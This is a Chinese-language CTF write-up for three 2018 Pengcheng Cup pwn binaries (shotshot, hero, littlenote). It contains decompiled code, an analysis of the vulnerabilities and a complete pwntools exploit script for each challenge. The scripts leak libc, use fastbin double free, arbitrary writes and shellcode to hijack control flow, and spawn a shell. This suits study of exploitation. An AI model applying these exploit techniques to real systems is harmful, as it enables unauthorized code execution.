2018鹏城杯pwn

shotshot

基本逻辑

1
2
3
4
5
1. create weapon
2. show weapon
3. drop weapon
4. shot
5. exit

create创建一个weapon,weapon的长度和名字都由用户输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 create()
{
int v1; // [sp+4h] [bp-Ch]@2
__int64 v2; // [sp+8h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);
while ( 1 )
{
puts("Input the length of your weapon's name:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x200000 )
break;
puts("too long!");
}
weapon = (char *)malloc(v1);
if ( !weapon )
{
puts("malloc error!");
exit(-1);
}
puts("Input the name:");
to_read(weapon, v1);
puts("Success!");
return *MK_FP(__FS__, 40LL) ^ v2;
}

show输出weapon内容,存在格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
int show()
{
int result; // eax@2

if ( weapon )
result = printf(weapon); // format string
else
result = puts("No weapon!");
return result;
}

drop释放weapon并置零。

1
2
3
4
5
6
7
8
9
10
11
12
void drop()
{
if ( weapon )
{
puts("I can't believe it!");
free(weapon);
weapon = 0LL;
}
else
{
puts("No weapon!");
}

shot函数中用到的start,是在init_addr中mmap(8)(简写)后返回的一个地址,由于mmap必须以页为单位进行映射,即使mmap的参数为8,也会映射到一页上。这里start是一个指针,指向一块类似于虚表的位置,结构如下:

1
2
3
4
5
6
7
struct sshot{
int id; //4 bytes
int num;//4 bytes
int (*init)(int *num,int value); //pointer 8 bytes
int (*get_id)(int *id); //pointer 8 bytes
int (*dead)(struct shot *s);//pointer 8 bytes
}shot;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
__int64 shot()
{
int *v0; // rsi@2
struct sshot **v1; // rbx@3
int v3; // [sp+4h] [bp-1Ch]@2
__int64 v4; // [sp+8h] [bp-18h]@1

v4 = *MK_FP(__FS__, 40LL);
if ( weapon )
{
puts_shot();
v0 = &v3;
__isoc99_scanf("%d", &v3);
if ( !*start )
{
v1 = start; // mmap(8)
v0 = (int *)40;
*v1 = (struct sshot *)mmap(0LL, 0x28uLL, 3, 34, 0, 0LL);
if ( *start == -1 )
{
puts("mmap error!");
exit(-1);
}
}
(*start)->init = (__int64)init;
(*start)->get_id = (__int64)get_id;
(*start)->dead = (__int64)dead;
(*start)->congratulation = (__int64)congratulations;
if ( v3 == 1 )
{
v0 = (int *)4;
((void (__fastcall *)(int *, signed __int64))(*start)->init)(&(*start)->num, 4LL);
((void (__fastcall *)(struct sshot *))(*start)->get_id)(*start);
}
if ( v3 == 2 )
{
v0 = (int *)6;
((void (__fastcall *)(int *, signed __int64))(*start)->init)(&(*start)->num, 6LL);
((void (__fastcall *)(struct sshot *))(*start)->get_id)(*start);
}
if ( v3 == 3 )
{
v0 = (int *)8;
((void (__fastcall *)(_QWORD, signed __int64))(*start)->init)(&(*start)->num, 8LL);
((void (__fastcall *)(_QWORD))(*start)->get_id)(*start);
}
--(*start)->num;
if ( ((int (__fastcall *)(struct sshot *, int *))(*start)->dead)(*start, v0) )
{
((void (*)(void))(*start)->congratulation)();
*start = 0LL;
}
}
else
{
puts("No weapon!");
}
return *MK_FP(__FS__, 40LL) ^ v4;
}

dead函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
signed __int64 __fastcall dead(struct sshot *a1)
{
signed __int64 result; // rax@2
__int64 v2; // rcx@4
int v3; // [sp+1Ch] [bp-14h]@2
int num; // [sp+20h] [bp-10h]@1
unsigned int id; // [sp+24h] [bp-Ch]@1
__int64 v6; // [sp+28h] [bp-8h]@1

v6 = *MK_FP(__FS__, 40LL);
num = a1->num;
id = a1->id;
if ( num > 0 )
{
result = 0LL;
}
else
{
printf("%d is dead...\n", id);
puts("Give me your luckynum:");
__isoc99_scanf("%d", &v3);
*(_BYTE *)((signed int)id + a1) = v3;
result = 1LL;
}
v2 = *MK_FP(__FS__, 40LL) ^ v6;
return result;
}

漏洞及利用

由于是线下赛,遇到格式化字符串大家肯定都会第一时间patch,所以没有从格式化字符串漏洞入手。

在shot函数里调用了mmap,通过动态调试,能够观察到mmap的映射是从高地址向低地址进行的,在init_addr中为start映射的地址比后续mmap的都要高。start中的地址:

1
2
pwndbg> x/8gx 0x6020d0
0x6020d0 <start>: 0x00007ffff7ff6000

调用shot函数时,mmap(0x28)返回的地址,即rax为0x7ffff7ff5000:

1
2
3
4
5
6
7
*RAX  0x7ffff7ff5000 ◂— 0x0
RBX 0x7ffff7ff6000 ◂— 0x0
……
─────────────────────[ DISASM ]───────────────────────
0x400bc9 <shot+126> call mmap@plt <0x400760>

► 0x400bce <shot+131> mov qword ptr [rbx], rax

另外,在dead函数中,存在任意写的漏洞。id和v3均由用户操作,可以向任意内存进行写操作。

1
*(_BYTE *)((signed int)id + a1) = v3;

结合这两点实现漏洞利用。

1.每次mmap的地址偏移都是0x1000,且由高地址向低地址增长;

2.内存任意写

利用的方式是,通过任意写向mmap区域中的某一个高地址写入one_gadget的地址,一次写入一个字节,分6次写入;再修改*start里面的值的倒数第二位,使修改后的值,congratulation函数位置对应到我们写入one_gadget的地址即可。这个倒数第二位的值可以根据libc与mmap之间的偏移进行计算,有少许的概率会失败。

one_gadget地址需要通过泄露libc来实现,在welcome输入name时,由于read不会向末尾加入\0,printf时会输出name后面的内容,通过查看此时的栈,发现其中有setvbuf+154的地址,作为libc地址的泄露。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.log_level='debug'
timeout = 0
gadget=[0x45216,0x4526a,0xf02a4,0xf1147]

p = process('./shotshot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def welcome(name):
p.sendlineafter("Your name :",name,timeout)

def create(name,n):
p.sendlineafter("5. exit\n",'1',timeout)
p.sendlineafter("Input the length of your weapon's name:\n",str(n),timeout)
p.sendlineafter("Input the name:\n",name,timeout)

def show():
p.sendlineafter("5. exit\n",'2',timeout)

def func1(ids,luckynum):
p.sendlineafter("Input the id:\n",str(ids),timeout)
p.sendlineafter("Give me your luckynum:\n",str(luckynum),timeout)

def shot(ids,luckynum,flag=0):
p.sendlineafter("5. exit\n",'4',timeout)
p.sendlineafter("3. C++\n",str(num),timeout)
p.sendlineafter("Input the id:\n",str(ids),timeout)
if flag:
p.sendlineafter("Give me your luckynum:\n",str(luckynum),timeout)
def select_shot(idx):
p.recvuntil('exit')
p.sendline('4')
p.recvuntil('3. C++')
p.sendline(str(idx))
def write_one(where,value):
select_shot(1)
p.recvuntil('id:')
p.sendline(str(where))
select_shot(0)
select_shot(0)
select_shot(0)
p.recvuntil('luckynum:')
p.sendline(str(value))

#leak libc address
welcome('a'*40)
p.recvuntil("a"*40)
setvbuf_addr = u64(p.recv(6).ljust(8,'\x00'))-154
log.info("setvbuf address:%#x",setvbuf_addr)
libc_addr = setvbuf_addr - libc.symbols['setvbuf']
log.info("libc address:%#x",libc_addr)

#0x5ee000 is offset of libc and mmap
maybe = ((libc_addr+0x5ee000)>>8)&0xff
if maybe <0x70:
print 'bad luck :('

create("0gur1",6)
for i in range(0,6):
value = ((libc_addr+gadget[0])>>8*i)&0xff
where = 0x1000*i+0x1020+i
write_one(where,value)

#write the 2nd last byte
where = 0x1000*6+0x1000+1

write_one(where,maybe)
p.interactive()

hero

基本逻辑

1
2
3
4
5
6
7
8
Do you want to be superhero?
1. add hero
2. show hero
3. edit hero
4. remove hero
5. exit
6. math
Your choice:

add函数输入name和power,这两个数组均位于bss。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int add()
{
_BYTE *v1; // rbx
signed int i; // [rsp+Ch] [rbp-14h]

for ( i = 0; i <= 9 && name[i]; ++i )
;
if ( i == 10 )
return puts("You can't add more heros!");
name[i] = malloc(0x68uLL); // fastbin
power[i] = malloc(0xF8uLL); // small bin
puts("What's your hero's name:");
v1 = name[i];
v1[read(0, name[i], 0x68uLL)] = 0; // off by one
puts("What's your hero's power:");
read(0, power[i], 0xF8uLL);
return puts("Done!");
}

show函数输出name和power,这里由于v1是unsigned int,不会出现数组越界的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 show()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("What hero do you want to show?");
read(0, &buf, 0x10uLL);
v1 = atoi(&buf);
if ( v1 <= 9 && name[v1] )
{
printf("Hero:%s\nPower:%s\n", name[v1], power[v1]);
puts("Done!");
}
else
{
puts("No such hero!");
}
return __readfsqword(0x28u) ^ v3;
}

edit函数将name和power都释放并重新分配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 edit()
{
_BYTE *v0; // rbx
unsigned int v2; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+10h] [rbp-30h]
unsigned __int64 v4; // [rsp+28h] [rbp-18h]

v4 = __readfsqword(0x28u);
puts("What hero do you want to edit?");
read(0, &buf, 0x10uLL);
v2 = atoi(&buf);
if ( v2 <= 9 && name[v2] )
{
free(name[v2]);
name[v2] = malloc(0x68uLL);
puts("What's your hero's name:");
v0 = name[v2];
v0[read(0, name[v2], 0x68uLL)] = 0; // off by one
free(power[v2]); // leak bk
power[v2] = malloc(0xF8uLL);
puts("What's your hero's power:");
read(0, power[v2], 0xF8uLL);
puts("Done!");
}
else
{
puts("No such hero!");
}
return __readfsqword(0x28u) ^ v4;
}

dele函数释放name和power对应的内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 del()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("What hero do you want to remove?");
read(0, &buf, 0x10uLL);
v1 = atoi(&buf);
if ( v1 <= 9 && name[v1] )
{
free(name[v1]);
free(power[v1]);
name[v1] = 0LL;
power[v1] = 0LL;
puts("Done!");
}
else
{
puts("No such hero!");
}
return __readfsqword(0x28u) ^ v3;
}

math函数做一些简单的运算,运算函数地址存放在funcs中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 math()
{
unsigned int v1; // [rsp+0h] [rbp-20h]
unsigned int v2; // [rsp+4h] [rbp-1Ch]
unsigned int v3; // [rsp+8h] [rbp-18h]
unsigned int v4; // [rsp+Ch] [rbp-14h]
__int64 (__fastcall *v5)(_QWORD, _QWORD); // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts(
"What do you want to do?\n"
"1. Add two numbers\n"
"2. Subtract two numbers\n"
"3. Multiply two numbers\n"
"4. Divide two numbers");
fflush(_bss_start);
read_integers((__int64)&v1, (__int64)&v2);
printf("You chose: %d\nPlease input two numbers to do math with\n", v1);
fflush(_bss_start);
read_integers((__int64)&v2, (__int64)&v3);
v5 = (__int64 (__fastcall *)(_QWORD, _QWORD))*(&funcs + (signed int)(v1 - 1));
v4 = v5(v2, v3);
printf("Result: %d\n", v4);
fflush(_bss_start);
return 0LL;
}

__int64 __fastcall read_integers(__int64 a1, __int64 a2)
{
fgets(buf, 256, stdin);
return __isoc99_sscanf(buf, "%d %d", a1, a2);
}

funcs:

1
2
3
4
.data:00000000006020A0 funcs           dq offset add1          ; DATA XREF: math+81↑r
.data:00000000006020A8 dq offset subtract
.data:00000000006020B0 dq offset multiply
.data:00000000006020B8 dq offset divide

漏洞及利用

这题很明显的一点是,没有开启NX保护。再加上执行(funcs+v1)(v2,v3)函数时,并没有对v1的数值进行检查,能够将shellcode写入到堆上并执行。patch的方法是修改elf文件的堆栈读写权限,以及限制v1的大小。

修改读写权限是和echo大佬学的。ELF文件头Elf64_Ehdr中有一个e_phoff字段,描述了program header的偏移,在IDA中通过这个值找到program header。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf64_Half e_type; /* Object file type */
Elf64_Half e_machine; /* Architecture */
Elf64_Word e_version; /* Object file version */
Elf64_Addr e_entry; /* Entry point virtual address */
Elf64_Off e_phoff; /* Program header table file offset */
Elf64_Off e_shoff; /* Section header table file offset */
Elf64_Word e_flags; /* Processor-specific flags */
Elf64_Half e_ehsize; /* ELF header size in bytes */
Elf64_Half e_phentsize; /* Program header table entry size */
Elf64_Half e_phnum; /* Program header table entry count */
Elf64_Half e_shentsize; /* Section header table entry size */
Elf64_Half e_shnum; /* Section header table entry count */
Elf64_Half e_shstrndx; /* Section header string table index */
} Elf64_Ehdr;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LOAD:0000000000400000 dword_400000    dd 464C457Fh            ; DATA XREF: LOAD:00000000004000C0↓o
LOAD:0000000000400000 ; File format: \x7FELF
LOAD:0000000000400004 db 2 ; File class: 64-bit
LOAD:0000000000400005 db 1 ; Data encoding: little-endian
LOAD:0000000000400006 db 1 ; File version
LOAD:0000000000400007 db 0 ; OS/ABI: UNIX System V ABI
LOAD:0000000000400008 db 0 ; ABI Version
LOAD:0000000000400009 db 7 dup(0) ; Padding
LOAD:0000000000400010 dw 2 ; File type: Executable
LOAD:0000000000400012 dw 3Eh ; Machine: x86-64
LOAD:0000000000400014 dd 1 ; File version
LOAD:0000000000400018 dq offset _start ; Entry point
LOAD:0000000000400020 dq 40h here!!!!!!!!!!! ; PHT file offset
LOAD:0000000000400028 dq 2EB0h ; SHT file offset
LOAD:0000000000400030 dd 0 ; Processor-specific flags
LOAD:0000000000400034 dw 40h ; ELF header size
LOAD:0000000000400036 dw 38h ; PHT entry size
LOAD:0000000000400038 dw 9 ; Number of entries in PHT
LOAD:000000000040003A dw 40h ; SHT entry size
LOAD:000000000040003C dw 1Fh ; Number of entries in SHT
LOAD:000000000040003E dw 1Ch ; SHT entry index for string table

在Program Header中找到一个Type为STACK的节区入口:

1
2
3
4
5
6
7
8
9
LOAD:00000000004001C8 ; PHT Entry 7
LOAD:00000000004001C8 dd 6474E551h ; Type: STACK
LOAD:00000000004001CC dd 7 ; Flags
LOAD:00000000004001D0 dq 0 ; File offset
LOAD:00000000004001D8 dq 0 ; Virtual address
LOAD:00000000004001E0 dq 0 ; Physical address
LOAD:00000000004001E8 dq 0 ; Size in file image
LOAD:00000000004001F0 dq 0 ; Size in memory image
LOAD:00000000004001F8 dq 10h ; Alignment

其中Flags处对应的就是这一节区的权限,修改为6,去掉执行权限。

不知道这题还有其他什么办法利用?本想着off by one修改堆块的size,利用unlink修改数组内容,但是edit每次都要free再重新malloc,这种方法就没有成功。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level='debug'
context(arch='amd64')

debug = 1
def pwn(ip='127.0.0.1'):
if debug:
p = process('./hero')
else:
p = remote(ip,8089)
def add(name,power):
p.sendlineafter("Your choice: ",'1')
p.sendafter("What's your hero's name:\n",name)
p.sendafter("What's your hero's power:\n",power)

def show(idx):
p.sendlineafter("Your choice: ",'2')
p.sendlineafter("What hero do you want to show?\n",str(idx))

def edit(idx,name,power):
p.sendlineafter("Your choice: ",'3')
p.sendlineafter("What hero do you want to edit?\n",str(idx))
p.sendafter("What's your hero's name:\n",name)
p.sendafter("What's your hero's power:\n",power)

def remove(idx):
p.sendlineafter("Your choice: ",'4')
p.sendlineafter("What hero do you want to remove?\n",str(idx))

def math(choice,a,b):
p.sendlineafter("Your choice: ",'6')
p.sendlineafter("4. Divide two numbers\n",str(choice))
p.sendlineafter("Please input two numbers to do math with\n",str(a)+" "+str(b))
name_addr = 0x602160
power_addr = 0x602100

payload = asm(shellcraft.sh())
add('000\n',payload)


math(13,1,2)


p.interactive()
pwn()

littlenote

基本逻辑

addnote添加note,其中notenum和note数组位于bss上。当询问是否保存note时,如果输入’N’则会重新分配一个0x20大小的块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 addnote()
{
__int64 v0; // rbx
__int64 v1; // rbx
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
if ( (unsigned __int64)notenum > 0xF )
puts("FULL");
v0 = notenum;
note[v0] = (char *)malloc(0x60uLL);
puts("Enter your note");
read(0, note[notenum], 0x60uLL);
puts("Want to keep your note?");
read(0, &buf, 7uLL);
if ( buf == 78 )
{
puts("OK,I will leave a backup note for you");
free(note[notenum]);
v1 = notenum;
note[v1] = (char *)malloc(0x20uLL);
}
++notenum;
puts("Done");
return __readfsqword(0x28u) ^ v4;
}

shownote展示note内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 shownote()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Which note do you want to show?");
__isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
puts(note[v1]);
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}

freenote释放note[idx]对应的内存,但没有置零,UAF和double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 freenote()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Which note do you want to delete?");
__isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
free(note[v1]);
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}

hacksys先输入name,然后调用hacker函数十次输入age,但这里的idx和age都由用户控制,如果idx为负数就会躲过检查,在栈上数组之前的位置随意写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 hacksys()
{
char s; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Enter administrator's name:");
__isoc99_scanf("%9s", &s);
puts("\n--------------------");
puts("Welcome:");
puts("\n");
puts(&s);
puts("\n--------------------");
hacker();
return 0LL;
}

unsigned __int64 hacker()
{
signed int j; // [rsp+8h] [rbp-78h]
signed int i; // [rsp+Ch] [rbp-74h]
__int64 v3; // [rsp+10h] [rbp-70h]
__int64 v4; // [rsp+18h] [rbp-68h]
__int64 s[11]; // [rsp+20h] [rbp-60h]
unsigned __int64 v6; // [rsp+78h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("Welcome to hacker's system\n");
puts("Now you can set hackers' age\n");
memset(s, 0, 0x50uLL);
for ( i = 0; i <= 9; ++i )
{
puts("Enter hacker index:");
__isoc99_scanf("%lld", &v3);
puts("Enter hacker age:");
__isoc99_scanf("%lld", &v4);
if ( v3 > 9 )
exit(0);
s[v3] = v4;
}
puts("Now let's see your creation:'");
for ( j = 0; j <= 9; ++j )
printf("%lld ", s[j]);
return __readfsqword(0x28u) ^ v6;
}

漏洞及利用

主要利用fastbin attack,修改fastbin中某一块内存的FD指针,使之指向stderr-0x3,这个位置开始的块,size字段能够对应到0x7f。通过将stderr-0x3分配出去后,修改note[0],使之指向puts@got,再利用show泄露puts的地址。

同样的方式修改FD指向malloc_hook-0x23,修改malloc_hook为one_gadget。

栈中修改内存的方式暂时没有想出来如何利用QWQ

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.log_level='debug'

p = process('./littlenote')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sys_plt = 0x400760
stderr = 0x6020c0
puts_got = 0x602020
gadget=[0x45216,0x4526a]
def add(note,keep='y'):
p.sendlineafter("Your choice:\n",'1')
p.sendlineafter("Enter your note\n",note) #read
p.sendlineafter("Want to keep your note?\n",keep)

def show(idx):
p.sendlineafter("Your choice:\n",'2')
p.sendlineafter("Which note do you want to show?\n",str(idx))

def free(idx):
p.sendlineafter("Your choice:\n",'3')
p.sendlineafter("Which note do you want to delete?\n",str(idx))

add("0gur1")
add("1gur1")
free(0) #fastbin->0
free(1) #fastbin->1->0
free(0) #fastbin->0->1->0


add(p64(stderr-0x3))#fastbin->1->0->stderr-0x3
add("3gur1")#fastbin->0->stderr-0x3
add("4gur1")#fastbin->stderr-0x3
add('a'*0x13+p64(puts_got))#note[0]=puts_got
show(0)

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("puts_addr:%#x",puts_addr)
malloc_hook = puts_addr-(libc.symbols['puts']-libc.symbols['__malloc_hook'])
log.info("malloc_hook:%#x",malloc_hook)
one_gadget = puts_addr - libc.symbols['puts']+gadget[1]
add("6gur1")
add("7gur1")
free(6) #fastbin->6
free(7) #fastbin->7->6
free(6) #fastbin->6->7->6

add(p64(malloc_hook-0x23))#fastbin->7->6->malloc_hook-0x23
add("9gur1")#fastbin->6->malloc_hook-0x23
add("agur1")#fastbin->malloc_hook-0x23
add(0x13*'a'+p64(one_gadget))
#gdb.attach(p)

p.sendlineafter("Your choice:\n",'1')

p.interactive()